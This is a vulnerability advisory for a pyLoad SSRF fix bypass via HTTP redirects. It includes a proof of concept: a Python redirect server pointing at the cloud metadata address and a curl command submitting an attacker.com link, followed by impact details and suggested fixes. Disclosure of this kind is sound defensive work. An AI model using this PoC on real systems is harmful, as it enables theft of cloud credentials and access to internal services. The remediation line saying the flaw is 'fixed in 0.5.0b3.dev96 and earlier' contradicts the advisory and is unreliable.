CVE-2026-35459: pyLoad has SSRF fix bypass via HTTP redirect
Summary
The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.
An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
Root Cause
The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:
dlhostname = urllib.parse.urlparse(dlurl).hostname if isipaddress(dlhostname) and not isglobaladdress(dlhostname): self.fail(...) else: for ip in hosttoip(dlhostname): if not isglobaladdress(ip): self.fail(...)
After the check passes, download() is called. pycurl is configured at src/pyload/core/network/http/httprequest.py:114-115 to follow redirects:
self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10)
No CURLOPTREDIRPROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.
PoC
Redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(302) self.sendheader("Location", "http://169.254.169.254/metadata/v1.json") self.endheaders()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serveforever()
Submit to pyload (requires ADD permission):
curl -b cookies.txt -X POST 'http://target:8000/json/addpackage' \ -d 'addname=ssrf-test&adddest=1&addlinks=http://attacker.com:8888/redirect'
The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.
Impact
An authenticated user with ADD permission can access:
- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity - Internal network services (10.x, 172.16.x, 192.168.x) - Localhost services (127.0.0.1)
This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.
Suggested Fix
Disable automatic redirect following and validate each redirect target:
# In HTTPRequest.init(): self.c.setopt(pycurl.FOLLOWLOCATION, 0)
Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:
self.c.setopt(pycurl.REDIRPROTOCOLS, pycurl.PROTOHTTP | pycurl.PROTOHTTPS)
And add a pycurl callback to validate redirect destination IPs before following.
Resources
- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Other sources
pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pyLoadto a version that resolves this vulnerability.Fixed in 0.5.0b3.dev96 and earlierPatch CVE-2026-33992 / GHSA-m74m-f7cr-432x - Configuration
Disable automatic redirect following in pycurl by setting FOLLOWLOCATION=0 (material notes FOLLOWLOCATION is set to 1) so redirects do not get followed without explicit validation.
pyLoad HTTP request (src/pyload/core/network/http/http_request.py) pycurl.FOLLOWLOCATION = 0 - Configuration
Implement manual redirect following in the download logic and perform SSRF validation at each hop (the material states the SSRF fix validates only the initial URL; redirects must be validated per-hop so redirect targets cannot bypass the SSRF filter).
pyLoad HTTP request redirect handling (download logic) Redirect destination validation = enabled - Configuration
Restrict redirect protocols and validate each redirect target IP/hostname before following (the material mentions adding a pycurl callback to validate redirect destination IPs and notes no CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest).
pyLoad redirect destination protocols/IP validation CURLOPT_REDIR_PROTOCOLS / redirect targets = restricted and validated - Compensating control
Ensure the storage of downloaded cloud metadata (e.g., from 169.254.169.254) is prevented/monitored—since cloud metadata endpoints (AWS/GCP/DigitalOcean/Azure) are part of the impact and are downloaded and saved to the storage folder in the attack scenario.